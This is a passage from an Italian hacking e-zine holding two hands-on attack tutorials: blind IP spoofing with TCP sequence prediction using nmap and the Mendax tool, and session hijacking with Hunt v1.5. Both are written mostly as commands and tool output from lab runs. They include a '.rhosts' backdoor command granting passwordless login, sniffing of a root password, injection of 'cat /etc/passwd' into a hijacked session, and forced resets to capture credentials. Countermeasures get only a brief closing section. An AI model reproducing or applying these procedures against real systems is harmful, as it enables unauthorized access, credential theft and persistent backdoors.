| | confronti dell'host bersaglio. | | 2) L'host bersaglio risponde con un pacchetto SYN/ACK che non sarà ricevuto | | dall'host spoofed, tale pacchetto sarà instradato verso il legittimo | | proprietario (il sistema di fiducia) che ignorerà tale pacchetto a causa del | | | | SYN flood. Non essendo a conoscenza dell'ISN generato dall'host bersaglio | | sarà necessario procedere con la predizione del numero sequenziale con le | | modalità descritte in precedenza. | | 3) L'attacker manda un secondo pacchetto TCP con flag ACK attivo, l'header | | del pacchetto IP è contraffatto e riporta ancora una volta l'ip del sistema | | di fiducia, il campo acknowledgment number contiene l'ISN predetto | | incrementato di uno. Se tutto è andato per il verso giusto otterremo una | | connessione unilaterale con il sistema bersaglio. | | | | | | 1 S(M) --> D SYN=1, ISN=100 | | | | 2 M <-- D ISN=??? | | | | 3 S(M) --> D ACK=1, ack=ISN(predetto)+1 | | | | M = mittente | | D = destinatario | | S = spoofed | | | | | | 4.3.1 Esempio | | Tratto dal testo "How Mitnick hacked Tsutomu Shimomura with an IP sequence | | attack" | | | | "Normally, the sequence number from the SYN-ACK is required in order to | | generate a valid ACK. However, the attacker is able to predict the sequence | | | | number contained in the SYN-ACK based on the known behavior of x-terminal's | | TCP sequence number generator, and is thus able to ACK the SYN-ACK without | | seeing it: | | | | 14:18:36.245045 server.login > x-terminal.shell: S 1382727010:1382727010(0) | | win 4096 | | 14:18:36.755522 server.login > x-terminal.shell: . ack 2024384001 win 4096 | | | | The spoofing machine now has a one-way connection to x-terminal.shell which | | appears to be from server.login." | | | | 5. Backdoor | | La tecnica appena descritta ci permette di sfruttare la relazione di fiducia | | | | acquisita allo scopo di eseguire una backdoor sul sistema remoto, questo ci | | permetterà un accesso al sistema più agevole in futuro, vediamo un esempio: | | | | cat + + >> ~/.rhosts | | | | Questo comando eseguito dalla shell reindirizza l'output standard del | | comando echo verso il file .rhosts che si trova nella directory ~ (home) | | dell'utente, all'interno di tale file verrà aggiunta la stringa "+ +" che | | permette il login da parte di qualsiasi sistema remoto senza bisogno di | | password alcuna. | | | | 5.1 Esempio | | Tratto dal testo "How Mitnick hacked Tsutomu Shimomura with an IP sequence | | attack" | | | | "It can maintain the connection and send data provided that it can properly | | ACK any data sent by x-terminal. It sends the following: | | | | 14:18:37.265404 server.login > x-terminal.shell: P 0:2(2) ack 1 win 4096 | | 14:18:37.775872 server.login > x-terminal.shell: P 2:7(5) ack 1 win 4096 | | 14:18:38.287404 server.login > x-terminal.shell: P 7:32(25) ack 1 win 4096 | | | | which corresponds to: | | 14:18:37 server# rsh x-terminal "echo + + >>/.rhosts" | | | | Total elapsed time since the first spoofed packet: < 16 seconds" | | | | 6. Parte pratica | | Veniamo al sodo, ovvero come mettere in pratica quanto imparato al fine di | | realizzare un attacco spoofed sfruttando le relazioni di fiducia di cui gode | | | | un certo host. Come ogni attacco che si rispetti dobbiamo procedere prima di | | | | tutto ricavando il maggior numero di informazioni sul nostro host target, le | | | | informazioni che maggiormente ci interessano sono principalmente due: | | | | - la presenza di servizi quali rlogin, rsh, rcp, rwho, etc; | | - il livello di prevedibilità del sequence number; | | | | A tale scopo utilizzeremo il programma Nmap che è in grado di fornirci tali | | informazioni, l'opzione -O ci permette di operare un fingerprint(1) dello | | stack TCP e determinarne la prevedibilità del sequence number, per maggiori | | informazioni riguardo l'uso di Nmap consultare la man page relativa a tale | | programma. | | | | (1)fingerprint: è detto fingerprinting la tecnica che permette mediante | | l'analisi dello stack TCP la determinazione del sistema operativo da remoto, | | | | questa tecnica si basa proprio sull'analisi delle differenze dello stack | | caratterizzanti un certo sistema operativo. | | | | Per effettuare l'attacco vero e proprio useremo invece il noto programma | | Mendax che utilizzerà le tecniche descritte in precedenza per exploitare(2) | | l'host remoto: | | | | - SYN flood del sistema trusted; | | - campionamento del sistema target; | | - predizione del sequence number; | | - spoofing su rshd; | | - esecuzione della backdoor; | | | | (2)exploit: programma o tecnica che ci permette di ottenere privilegi | | particolari nei confronti di un host sul quale non abbiamo accesso o | | possediamo privilegi limitati. | | | | Vediamo la sintassi utilizzata da tale programma: | | | | [root@pluto mendax]# ./mendax | | Usage: ./mendax [OPTIONS] [] | | | | -p PORT first port on localhost to occupy | | -s PORT server port on to swamp | | -l USERNAME user on | | -r USERNAME user on | | -c COMMAND command to execute | | -w PORT wait for a TCP SYN packet on port PORT | | -d read data from stdin and send it. | | -t test whether attack might succeed | | -L TERM spoof rlogind instead of rshd. | | -S PORT port from which to sample seq numbers. | | | | L'opzione -s permette di specificare la porta del sistema trusted su cui | | attuare il SYN flood, l'opzione -r specifica l'utente con cui si intende | | autenticarsi sul sistema target, l'utente dipende strettamente da quanto | | dichiarato sul file .rhosts presente sul sistema remoto, l'opzione -c | | permette di specificare il comando da eseguire una volta ottenuto l'accesso, | | | | infine -S permette di specificare la porta su cui effettuare il | | campionamento dei numeri sequenziali, tale impostazione va scelta in base | | all'output del comando Nmap e va settata pari al valore di una porta del | | sistema target che risulti nello stato open. | | | | Nota personale: | | Ho ritenuto necessario modificare il file mendax.h sostituendo la riga: | | | | #define SAMPLEPACKETS 4 | | con la seguente: | | | | #define SAMPLEPACKETS 20 | | al fine di rendere più significativo il campionamento effettuato dal | | programma stesso. | | | | 6.1 Uso di Nmap e del programma Mendax | | Ecco un esempio di attacco eseguito su una macchina che monta Mandrake 8.0: | | | | [root@pluto root]# nmap -O 192.168.1.35 | | | | Starting nmap V. 2.53 by fyodor@insecure.org ( www.insecure.org/nmap/ ) | | Interesting ports on pluto.workgroup.com (192.168.1.35): | | (The 1517 ports scanned but not shown below are in state: closed) | | Port State Service | | 23/tcp open telnet | | 25/tcp open smtp | | 111/tcp open sunrpc | | 631/tcp open unknown | | 6000/tcp open X11 | | 32770/tcp open sometimes-rpc3 | | | | TCP Sequence Prediction: Class=random positive increments | | Difficulty=1468724 (Good luck!) | | No OS matches for host (If you know what OS is running on it, see | | http://www.insecure.org/cgi-bin/nmap-submit.cgi). | | TCP/IP fingerprint: | | TSeq(Class=RI%gcd=1%SI=2CCF1D) | | TSeq(Class=RI%gcd=1%SI=2CD1F2) | | TSeq(Class=RI%gcd=2%SI=166934) | | T1(Resp=Y%DF=Y%W=7FFF%ACK=S++%Flags=AS%Ops=MNNTNW) | | T2(Resp=N) | | T3(Resp=Y%DF=Y%W=7FFF%ACK=S++%Flags=AS%Ops=MNNTNW) | | T4(Resp=Y%DF=Y%W=0%ACK=O%Flags=R%Ops=) | | T5(Resp=Y%DF=Y%W=0%ACK=S++%Flags=AR%Ops=) | | T6(Resp=Y%DF=Y%W=0%ACK=O%Flags=R%Ops=) | | T7(Resp=Y%DF=Y%W=0%ACK=S++%Flags=AR%Ops=) | | PU(Resp=Y%DF=Y%TOS=C0%IPLEN=164%RIPTL=148%RID=E%RIPCK=E%UCK=E%ULEN=134%DAT=E) | | | | | | | | Nmap run completed -- 1 IP address (1 host up) scanned in 5 seconds | | | | Come potrete notare siamo in presenza di una macchina che non solo non monta | | | | i servizi necessari alla riuscita del nostro attacco ma la predizione del | | sequence number risulterebbe alquanto difficoltosa, questo dato può essere | | ricavato dalla voce seguente: | | | | TCP Sequence Prediction: Class=random positive increments | | Difficulty=1468724 (Good luck!) | | | | In questo caso se cercassimo di usare il tool Mendax per realizzare il | | nostro attacco esso fallirebbe miseramente a causa dell'incrementazione | | random del sequence number che ne impedisce qualsiasi predizione, ecco | | l'esempio: | | | | [root@pluto mendax]# ./mendax -S 23 192.168.1.2 192.168.1.35 | | flooding source with TCP SYN packets from 143.209.4.3: .................... | | sampling sequence numbers... | | | | seq number: 991645491, ack number: 1 | | seq number: 986108304, ack number: 64001 difference: -5537187 | | seq number: 996466103, ack number: 128001 difference: 10357799 | | seq number: 998585156, ack number: 192001 difference: 2119053 | | seq number: 990883549, ack number: 256001 difference: -7701607 | | seq number: 1000310665, ack number: 320001 difference: 9427116 | | seq number: 989419335, ack number: 384001 difference: -10891330 | | seq number: 993096000, ack number: 448001 difference: 3676665 | | seq number: 987811540, ack number: 512001 difference: -5284460 | | seq number: 995054978, ack number: 576001 difference: 7243438 | | seq number: 995947714, ack number: 640001 difference: 892736 | | seq number: 984271645, ack number: 704001 difference: -11676069 | | seq number: 990591826, ack number: 768001 difference: 6320181 | | seq number: 995223221, ack number: 832001 difference: 4631395 | | seq number: 998562942, ack number: 896001 difference: 3339721 | | seq number: 984338810, ack number: 960001 difference: -14224132 | | seq number: 997948849, ack number: 1024001 difference: 13610039 | | seq number: 984199097, ack number: 1088001 difference: -13749752 | | seq number: 991693416, ack number: 1152001 difference: 7494319 | | seq number: 994890294, ack number: 1216001 difference: 3196878 | | | | no detectable difference pattern. | | using 3196878 as prediction difference (1 hit). | | spoofing rshd. | | resetting TCP target connection: . | | resetting source: .................... | | | | Mendax risponde con "no detectable difference pattern.", ciò significa che | | non è possibile stabilire una relazione tra un numero sequenziale e quello | | immediatamente successivo. | | Il prossimo esempio è tratto dal probe di una macchina RedHat 6.1 kernel | | 2.2.12: | | | | [root@pluto mendax]# nmap -O 192.168.1.34 | | | | Starting nmap V. 2.53 by fyodor@insecure.org ( www.insecure.org/nmap/ ) | | Interesting ports on pippo.workgroup.com (192.168.1.34): | | (The 1513 ports scanned but not shown below are in state: closed) | | Port State Service | | 21/tcp open ftp | | 23/tcp open telnet | | 25/tcp open smtp | | 79/tcp open finger | | 98/tcp open linuxconf | | 111/tcp open sunrpc | | 113/tcp open auth | | 513/tcp open login | | 514/tcp open shell | | 515/tcp open printer | | | | TCP Sequence Prediction: Class=random positive increments | | Difficulty=5589937 (Good luck!) | | Remote operating system guess: Linux 2.1.122 - 2.2.14 | | | | Nmap run completed -- 1 IP address (1 host up) scanned in 1 second | | | | Questa volta le porte interessate dall'attacco sono disponibili (513, 514) | | ma la predizione del sequence number risulta ancora una volta difficoltosa, | | il nostro attacco non funzionarà: | | | | [root@pluto mendax]# ./mendax 192.168.1.2 192.168.1.34 | | flooding source with TCP SYN packets from 143.209.4.3: .................... | | sampling sequence numbers... | | | | seq number: 4178634327, ack number: 1 | | seq number: 4179028914, ack number: 64001 difference: 394587 | | seq number: 4174024512, ack number: 128001 difference: -5004402 | | seq number: 4163370868, ack number: 192001 difference: -10653644 | | seq number: 4167396870, ack number: 256001 difference: 4026002 | | seq number: 4169257246, ack number: 320001 difference: 1860376 | | seq number: 4167244436, ack number: 384001 difference: -2012810 | | seq number: 4175107959, ack number: 448001 difference: 7863523 | | seq number: 4166530375, ack number: 512001 difference: -8577584 | | seq number: 4165158028, ack number: 576001 difference: -1372347 | | seq number: 4173646859, ack number: 640001 difference: 8488831 | | seq number: 4176496350, ack number: 704001 difference: 2849491 | | seq number: 4167788146, ack number: 768001 difference: -8708204 | | seq number: 4167622693, ack number: 832001 difference: -165453 | | seq number: 4175721601, ack number: 896001 difference: 8098908 | | seq number: 4174721790, ack number: 960001 difference: -999811 | | seq number: 4172954422, ack number: 1024001 difference: -1767368 | | seq number: 4179219208, ack number: 1088001 difference: 6264786 | | seq number: 4177168403, ack number: 1152001 difference: -2050805 | | seq number: 4169364973, ack number: 1216001 difference: -7803430 | | | | no detectable difference pattern. | | using -7803430 as prediction difference (1 hit). | | spoofing rshd. | | resetting TCP target connection: . | | resetting source: .................... | | | | Quello che segue è un esempio di attacco portato a termine con successo su | | di una macchina vulnerabile, la difficoltà di predizione del sequence number | | | | appariva come output del comando Nmap in questo modo: | | | | TCP Sequence Prediction: Class=trivial time dependency | | Difficulty=1 (Trivial joke) | | | | [root@pluto mendax]# ./mendax 192.168.1.2 192.168.1.32 | | flooding source with TCP SYN packets from 143.209.4.3: .................... | | sampling sequence numbers... | | | | seq number: 885951, ack number: 1 | | seq number: 885951, ack number: 64001 difference: 0 | | seq number: 885951, ack number: 128001 difference: 0 | | seq number: 885951, ack number: 192001 difference: 0 | | seq number: 885951, ack number: 256001 difference: 0 | | seq number: 885951, ack number: 320001 difference: 0 | | seq number: 885951, ack number: 384001 difference: 0 | | seq number: 885951, ack number: 448001 difference: 0 | | seq number: 885951, ack number: 512001 difference: 0 | | seq number: 885951, ack number: 576001 difference: 0 | | seq number: 885951, ack number: 640001 difference: 0 | | seq number: 885951, ack number: 704001 difference: 0 | | seq number: 885951, ack number: 768001 difference: 0 | | seq number: 885951, ack number: 832001 difference: 0 | | seq number: 885951, ack number: 896001 difference: 0 | | seq number: 885952, ack number: 960001 difference: 1 | | seq number: 885952, ack number: 1024001 difference: 0 | | seq number: 885952, ack number: 1088001 difference: 0 | | seq number: 885952, ack number: 1152001 difference: 0 | | seq number: 885952, ack number: 1216001 difference: 0 | | | | using 0 as prediction difference (18 hits). | | spoofing rshd. | | resetting TCP target connection: . | | resetting source: .................... | | | | La riuscita dell'attacco comporta l'esecuzione della backdoor sul sistema | | attaccato. | | | | 7. Contromisure | | Come indicato dal CERT Advisory CA-1995-01 è consigliabile impostare le | | corrette rules sul proprio firewall in modo da prevenire questo genere di | | attacchi, gli indirizzi a rischio sono quelli riservati all'uso locale e | | l'indirizzo di loopback: | | | | | | 127.0.0.0 - 127.255.255.255 (loopback) | | 10.0.0.0 - 10.255.255.255 (reserved) | | 172.16.0.0 - 172.31.255.255 (reserved) | | 192.168.0.0 - 192.168.255.255 (reserved) | | | | | | Bibliografia: | | | | CERT Advisory CA-1995-01 IP Spoofing Attack and Hijacked Terminal | | Connections | | RFC 793 - Transmission Control Protocol | | TCP/IP Guida Completa - Apogeo | | Phrack Magazine - IP-spoofing Demystified | | How Mitnick hacked Tsutomu Shimomura with an IP sequence attack | | | | | | | +-------------------------------------------------------------------------------+ +-------------------------------------------------------------------------------+ | ONDAQUADRA ~ [HACKiNG] #04 - 19/11/2001 | | MAN iN THE MiDDLE ATTACK - Hunt v.1.5 [E4zy] 0x09/0x23 | +-------------------------------------------------------------------------------+ | | | *** PREMESSA *** | | L'articolo da per scontato che si conoscano le modalità di un attacco IP | | Spoofing che costituisce la base portante di un dirottamento di sessione | | come quello descritto in seguito, è consigliata la lettura dell'articolo "IP | | | | Spoofing Attack" presente in questo stesso numero della zine prima di | | proseguire con la lettura | | **************** | | | | Introduzione | | L'attacco Man In The Middle, meglio conosciuto come TCP Hijacking, permette | | lo sniffing(1), la modifica e il reinstradamento del traffico di rete; | | durante la trattazione di questo articolo, avvalendoci del tool Hunt, | | metteremo in pratica quanto imparato. | | | | (1)sniffing: letteralmente fiutare, catturare il traffico di dati da/verso | | un certo dispositivo, esempio la rete, la tastiera | | | | ARP (Address Resolution Protocol) | | Ogni scheda di rete possiede un proprio indirizzo fisico (MAC), nel momento | | in cui un host deve mandare un pacchetto ad un altro host o al proprio | | gateway deve conoscerne il MAC address. Se il MAC address del destinatario | | non viene trovano nella propria cache ARP l'host mittente genererà un | | pacchetto ARP che verrà inviato all'indirizzo di broadcast (tutti gli host | | della rete). Tale richiesta conterrà l'indirizzo IP dell'host di cui si | | richiede il MAC address, una volta ricevuto dall'host interessato esso | | invierà al mittente un pacchetto ARP di risposta contenente il proprio MAC | | address. | | Per ovviare al problema di far richiesta del MAC address ogni qual volta sia | | | | necessario spedire un nuovo pacchetto, il mittente si preoccuperà di salvare | | | | l'IP e il MAC address nella propria cache, i pacchetti successivi potranno | | essere inoltrati senza bisogno di alcuna interrogazione. | | | | Teoria | | Il TCP Hijacking può essere applicato a qualsiasi tipo di applicazione che | | non utilizzi un tunneling crittografico (esempio SSH), di conseguenza | | possiamo individuare come potenziali vittime applicazione come telnet, ftp, | | rlogin, etc., un malintenzionato ha la possibilità, grazie a un dirottamento | | | | di sessione, di impadronirsi della sessione stessa e comprometterne | | l'integrità dei dati. Il fatto stesso di assumere la direzione di una | | connessione esistente, permette all'attacker di bypassare qualsiasi schema | | di autenticazione attingendo ad una connessione dove l'utente vittima ha già | | | | completato la procedura di login. | | Gli host in gioco sono ancora una volta tre: | | - attacker: che esegue l'attacco; | | - victim: il client vittima; | | - target: il server al quale è collegata la vittima; | | | | Requisiti | | - la vittima e il server comunicano tra loro senza far utilizzo di alcun | | tipo di criptazione; | | - almeno uno dei host coinvolti (victim o target) si trova nella stessa rete | | | | locale del sistema attacker, non necessariamente nello stesso segmento di | | rete; | | | | Simple Active Attack | | Questo tipo di attacco è quello di più facile implementazione, si avvale di | | pacchetti che riportano nell'header (intestazione) IP address e ARP | | address(2) spoofed (i veri indirizzi di victim e target); tale | | implementazione dell'attacco può comportare alcuni effetti indesiderati, | | primo tra tutti il fenomeno conosciuto con il nome di "ACK storm". | | | | (2)ARP address: indirizzo MAC, ovvero l'indirizzo fisico del sistema | | | | ACK Storm | | Fenomeno dovuto alla maggior parte delle implementazioni dello stack TCP | | (Linux 2.0 non risente di tale problema), immaginiamo che attacker mandi un | | pacchetto (spoofato con l'ip e MAC address di victim) a target, di | | conseguenza victim riceverà un ACK inatteso da target e risponderà ad esso, | | la cosa continuerà generando un loop di ACK. | | | | ARP Forcing | | Ha lo scopo di scongiurare un eventuale ACK storm, consiste nella | | falsificazione dei campi relativi al MAC address, avremo così la possibilità | | | | di redirigere le risposte di target verso un host fittizio, in questo modo | | victim non sarà bersaglio di ACK inattesi. | | Questa tecnica non funzionerebbe con sistemi Solaris 2.5 a causa del minor | | tempo con cui le voci ARP scadono e vengono di conseguenza eliminate dalla | | cache ARP. | | Il programma Hunt, che useremo più avanti nella trattazione di questo | | articolo, cerca di risolvere tale problema attuando un force sia del MAC | | address di victim che di quello di target, in questo modo sia target che | | victim inviano il loro traffico verso l'host fittizio di conseguenza nel | | caso in cui uno dei due sistemi sia un Solaris 2.5 e l'altro no, l'ACK storm | | | | verrà comunque scongiurato. Non solo! Come ogni network sniffer che si | | rispetti Hunt è in grado di sniffare tutto il traffico diretto verso l'host | | fittizio :) | | L'unico problema rimane nel caso in cui i due sistemi coinvolti siano | | entrambi Solaris 2.5 :( | | | | Pratica | | Guida all'uso di Hunt v.1.5 | | Breve introduzione alle principali funzioni del programma: | | | | Connection Sniffing | | Permette di osservare il traffico generato da qualsiasi connessione | | disponibile. | | Analizziamo una sessione a rischio dove l'utente victim accede all'host | | target tramite telnet ed esegue il comando "su" per ottenere i privilegi del | | | | superuser: | | | | Last login: Fri Oct 26 15:34:01 from 192.168.1.35 | | [victim@target victim]$ su | | Password: | | [root@target victim]# | | | | Vediamo il tutto dagli occhi dell'attacker: | | | | [attacker@attacker hunt-1.5]# ./hunt | | /* | | * hunt 1.5 | | * multipurpose connection intruder / sniffer for Linux | | * (c) 1998-2000 by kra | | */ | | starting hunt | | --- Main Menu --- rcvpkt 0, free/alloc 63/64 ------ | | l/w/r) list/watch/reset connections | | u) host up tests | | a) arp/simple hijack (avoids ack storm if arp used) | | s) simple hijack | | d) daemons rst/arp/sniff/mac | | o) options | | x) exit | | *> w | | 0) 192.168.1.35 [34335] --> 192.168.1.34 [23] | | | | choose conn> 0 | | dump [s]rc/[d]st/[b]oth [b]> s | | | | | | CTRL-C to break | | su | | secret | | | | L'opzione (w)atch ci permette di sniffare il traffico tra l'host victim e | | target, ho scelto di dumpare il solo traffico che coinvolge l'host sorgente | | ovvero victim: | | dump [s]rc/[d]st/[b]oth [b]> s | | | | il che si è rivelato una mossa azzeccata e mi ha permesso di sniffare | | l'esecuzione di "su" con relativa password di root, slurp :) | | | | Simple Hijack | | L'attacco di più semplice attuazione ma anche il più rischioso al tempo | | stesso, permette di inserire un comando all'interno del flusso di dati della | | | | sessione dirottata. Molto spesso tale attacco degenera in un ACK storm che | | impedisce qualsiasi ulteriore inoltro di pacchetti. | | Un ulteriore problema è rappresentato dal fatto che, in tale modalità, | | l'utente victim è in grado di vedere l'output generato dall'esecuzione dei | | comandi di attacker. | | In caso di esito positivo l'attacker avrà la possibilità di resettare la | | connessione o procedere alla sua sincronizzazione (spiegato in seguito). | | Nell'esempio riportato in seguito l'utente victim si è autentificato con | | successo sul sistema target, a questo punto abbiamo la possibilità di | | eseguire comandi arbitrari sul server target con i privilegi associati a | | victim, il programma hunt non farà altro che accodare al flusso di dati il | | nostro comando che risulterà provenire dall'host victim: | | | | [attacker@attacker hunt-1.5]# ./hunt | | /* | | * hunt 1.5 | | * multipurpose connection intruder / sniffer for Linux | | * (c) 1998-2000 by kra | | */ | | starting hunt | | --- Main Menu --- rcvpkt 0, free/alloc 63/64 ------ | | l/w/r) list/watch/reset connections | | u) host up tests | | a) arp/simple hijack (avoids ack storm if arp used) | | s) simple hijack | | d) daemons rst/arp/sniff/mac | | o) options | | x) exit | | *> s | | 0) 192.168.1.35 [34296] --> 192.168.1.34 [23] | | | | choose conn> 0 | | dump connection y/n [n]> n | | Enter the command string you wish executed or [cr]> cat /etc/passwd | | c | | [victim@target victim]$ ca | | [victim@target victim]$ cat | | [victim@target victim]$ cat | | [victim@target victim]$ cat / | | [victim@target victim]$ cat /e | | [victim@target victim]$ cat /et | | [victim@target victim]$ cat /etc | | [victim@target victim]$ cat /etc/ | | [victim@target victim]$ cat /etc/p | | [victim@target victim]$ cat /etc/pa | | [victim@target victim]$ cat /etc/pas | | [victim@target victim]$ cat /etc/pass | | [victim@target victim]$ cat /etc/passw | | [victim@target victim]$ cat /etc/passwd | | [victim@target victim]$ cat /etc/passwd | | root:x:0:0:root:/root:/bin/bash | | bin:x:1:1:bin:/bin: | | daemon:x:2:2:daemon:/sbin: | | adm:x:3:4:adm:/var/adm: | | lp:x:4:7:lp:/var/spool/lpd: | | sync:x:5:0:sync:/sbin:/bin/sync | | shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown | | halt:x:7:0:halt:/sbin:/sbin/halt | | mail:x:8:12:mail:/var/spool/mail: | | news:x:9:13:news:/var/spool/news: | | uucp:x:10:14:uucp:/var/spool/uucp: | | operator:x:11:0:operator:/root: | | games:x:12:100:games:/usr/games: | | gopher:x:13:30:gopher:/usr/lib/gopher-data: | | postgres:x:40:41:PostgreSQL Server:/var/lib/pgsql:/bin/bash | | ftp:x:14:50:FTP User:/var/ftp: | | gdm:x:42:42:GDM User:/var/lib/gdm: | | htdig:x:51:51:HTDIG User:/var/www/html/htdig: | | dhcpd:x:19:19:Dhcpd User:/var/dhcpd: | | named:x:25:25:Bind User:/var/named: | | nscd:x:28:28:NSCD Daemon:/:/bin/false | | apache:x:48:48:Apache User:/var/www: | | rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/bin/false | | rpc:x:32:32:Portmapper RPC user:/:/bin/false | | sympa:x:89:89:Sympa Mailing list manager:/var/lib/sympa:/bin/bash | | nobody:x:99:99:Nobody:/: | | alias:x:400:401:qmail alias user:/var/qmail/alias:/bin/true | | qmaild:x:401:401:qmaild user:/var/qmail:/bin/true | | qmaill:x:402:401:qmaill user:/var/qmail:/bin/true | | qmailp:x:403:401:qmailp user:/var/qmail:/bin/true | | qmailq:x:404:400:qmailq user:/var/qmail:/bin/true | | qmailr:x:405:400:qmailr user:/var/qmail:/bin/true | | qmails:x:406:400:qmails user:/var/qmail:/bin/true | | dnscache:x:410:405:dnscache user:/var/djbdns:/bin/true | | dnslog:x:411:405:dnslog user:/var/djbdns:/bin/true | | tinydns:x:412:405:tinydns user:/var/djbdns:/bin/true | | axfrdns:x:413:405:axfrdns user:/var/djbdns:/bin/true | | xfs:x:414:414:X Font Server:/etc/X11/fs:/bin/false | | victim:x:501:501:victim:/home/victim:/bin/bash | | [victim@target victim]$ | | [victim@target victim]$ Enter the command string you wish executed or [cr]> | | [r]eset connection/[s]ynchronize/[n]one [r]> r | | done | | --- Main Menu --- rcvpkt 3987, free/alloc 63/64 ------ | | l/w/r) list/watch/reset connections | | u) host up tests | | a) arp/simple hijack (avoids ack storm if arp used) | | s) simple hijack | | d) daemons rst/arp/sniff/mac | | o) options | | x) exit | | *> | | | | In tal modo abbiamo attenuto il password file, non è /etc/shadow ma è già | | qualcosa :) | | | | ARP/Simple Hijack | | Scongiura il problema dell'ACK storm, permette di manipolare il flusso di | | dati della sessione desiderata. E' possibile effettuare un ARP spoofing per | | entrambi i capi della connessione (victim e target), per uno solo dei due o | | per nessuno di essi a seconda delle proprie esigenze. E' caldamente | | raccomandato l'uso dell'ARP relayer nel caso in cui si opti per un ARP | | spoofing che coinvolge ambo i capi della connessione, esso impedisce di | | influire sulle altre sessioni in gioco tra i due host provvedendo al loro | | reinstradamento. | | Viceversa, immaginiamo di optare per una soluzione che preveda unicamente | | l'ARP spoofing dell'host victim, le sole connessioni affette saranno quelle | | dirette verso tale host. | | L'uso di questa modalità occulta l'operato dell'attacker che può agire | | indisturbato, la sessione victim rimane momentaneamente congelata a causa | | della desincronizzazione; terminato il dirottamento di sessione è possibile | | decidere di resettare o sincronizzare la connessione (spiegato in seguito). | | Possiamo servirci di tale attacco per eseguire comandi arbitrari sul sistema | | | | target usufruendo dei privilegi associati all'user victim, nel prossimo | | esempio piazzeremo una backdoor: | | | | [attacker@attacker hunt-1.5]# ./hunt | | /* | | * hunt 1.5 | | * multipurpose connection intruder / sniffer for Linux | | * (c) 1998-2000 by kra | | */ | | starting hunt | | --- Main Menu --- rcvpkt 0, free/alloc 63/64 ------ | | l/w/r) list/watch/reset connections | | u) host up tests | | a) arp/simple hijack (avoids ack storm if arp used) | | s) simple hijack | | d) daemons rst/arp/sniff/mac | | o) options | | x) exit | | *> a | | 0) 192.168.1.35 [34301] --> 192.168.1.34 [23] | | | | choose conn> 0 | | arp spoof src in dst y/n [y]> y | | src MAC [EA:1A:DE:AD:BE:01]> | | arp spoof dst in src y/n [y]> y | | dst MAC [EA:1A:DE:AD:BE:02]> | | input mode [r]aw, [l]ine+echo+\r, line+[e]cho [r]> r | | dump connectin y/n [y]> n | | press key to take over of connection | | you took over the connection | | CTRL-] to break | | e | | [victim@target victim]$ ec | | [victim@target victim]$ ech | | [victim@target victim]$ echo | | [victim@target victim]$ echo | | [victim@target victim]$ echo + | | [victim@target victim]$ echo + | | [victim@target victim]$ echo + + | | [victim@target victim]$ echo + + | | [victim@target victim]$ echo + + > | | [victim@target victim]$ echo + + >> | | [victim@target victim]$ echo + + >> | | [victim@target victim]$ echo + + >> ~ | | [victim@target victim]$ echo + + >> ~/ | | [victim@target victim]$ echo + + >> ~/. | | [victim@target victim]$ echo + + >> ~/.r | | [victim@target victim]$ echo + + >> ~/.rh | | [victim@target victim]$ echo + + >> ~/.rho | | [victim@target victim]$ echo + + >> ~/.rhos | | [victim@target victim]$ echo + + >> ~/.rhost | | [victim@target victim]$ echo + + >> ~/.rhosts | | [victim@target victim]$ echo + + >> ~/.rhosts | | [victim@target victim]$ | | | | Cosa aspettate? Non vi resta che collegarvi a target con un client rlogin | | (qualsiasi r-commands), avrete accesso al sistema senza bisogno di | | specificare alcuna password. | | | | Connection Reset | | Permette di forgiare un pacchetto in grado di resettare la sessione corrente | | | | tra i sistemi victim e target (flag RST attivo), non si pone il problema | | della predizione del numero sequenziale in quanto la sessione è sniffata | | integralmente dal tool stesso. | | Una buona tecnica è quella di resettare la connessione tra i due host al | | fine di forzare victim ad effettuare nuovamente l'autenticazione che potrà | | venir sniffata per mezzo dell'opzione watch, vediamo l'esempio: | | | | [attacker@attacker hunt-1.5]# ./hunt | | /* | | * hunt 1.5 | | * multipurpose connection intruder / sniffer for Linux | | * (c) 1998-2000 by kra | | */ | | starting hunt | | --- Main Menu --- rcvpkt 0, free/alloc 63/64 ------ | | l/w/r) list/watch/reset connections | | u) host up tests | | a) arp/simple hijack (avoids ack storm if arp used) | | s) simple hijack | | d) daemons rst/arp/sniff/mac | | o) options | | x) exit | | *> r | | 0) 192.168.1.35 [33322] --> 192.168.1.34 [23] | | | | choose conn> 0 | | reset [s]rc/[d]st/[b]oth [b]> b | | done | | --- Main Menu --- rcvpkt 3992, free/alloc 63/64 ------ | | l/w/r) list/watch/reset connections | | u) host up tests | | a) arp/simple hijack (avoids ack storm if arp used) | | s) simple hijack | | d) daemons rst/arp/sniff/mac | | o) options | | x) exit | | *> w | | 0) 192.168.1.35 [33409] --> 192.168.1.34 [23] | | | | choose conn> 0 | | dump [s]rc/[d]st/[b]oth [b]> s | | | | | | CTRL-C to break | | victim | | secret | | | | Agli occhi della vittima il tutto apparirà così: | | | | [victim@victim victim]$ telnet 192.168.1.34 | | Trying 192.168.1.34... | | Connected to 192.168.1.34. | | Escape character is '^]'. | | Welcome to target.workgroup.com | | Linux Mandrake release 8.0 (Traktopel) for i586 | | Kernel 2.4.3-20mdk on an i686 | | login: victim | | Password: | | Last login: Mon Oct 29 09:34:26 from 192.168.1.35 | | [victim@target victim]$ | | [victim@target victim]$ Connection closed by foreign host. | | [victim@victim victim]$ telnet 192.168.1.34 | | Trying 192.168.1.34... | | Connected to 192.168.1.34. | | Escape character is '^]'. | | Welcome to target.workgroup.com | | Linux Mandrake release 8.0 (Traktopel) for i586 | | Kernel 2.4.3-20mdk on an i686 | | login: victim | | Password: | | Last login: Mon Oct 29 09:39:31 from 192.168.1.35 | | [victim@target victim]$ | | | | | | Connection Synchronization | | Tale operazione si rende necessaria nel qual caso l'attacker non si limiti | | nello sniffing della sessione ma proceda nell'inserimento di dati nel flusso | | | | TCP, in questo caso si verificherebbe una desincronizzazione tra l'host | | victim e target. L'attacker può così decidere di resettare la connessione | | oppure procedere alla sua sincronizzazione. | | Nel secondo caso Hunt cercherà di "riallineare" la sessione, tale azione da | | modo ai due host di riprendere il controllo della connessione | | precedentemente interrotta dal dirottamento. | | | | Switch/Segment traffic rerouting | | Grazie alla tecnica conosciuta con il nome di ARP spoofing permette di | | aggirare i problemi derivanti da un'implementazione di una rete switchata, | | forza lo switch a instradare il traffico diretto verso un certo host in un | | altro segmento di rete. | | | | E4zy vi saluta e vi augura buon divertimento :) | | | | Bibliografia: | | | | CERT Advisory CA-1995-01 IP Spoofing Attack and Hijacked Terminal | | Connections | | RFC 793 - Transmission Control Protocol | | TCP/IP Guida Completa - Apogeo | | Hunt v.1.5 README | | | | | | | 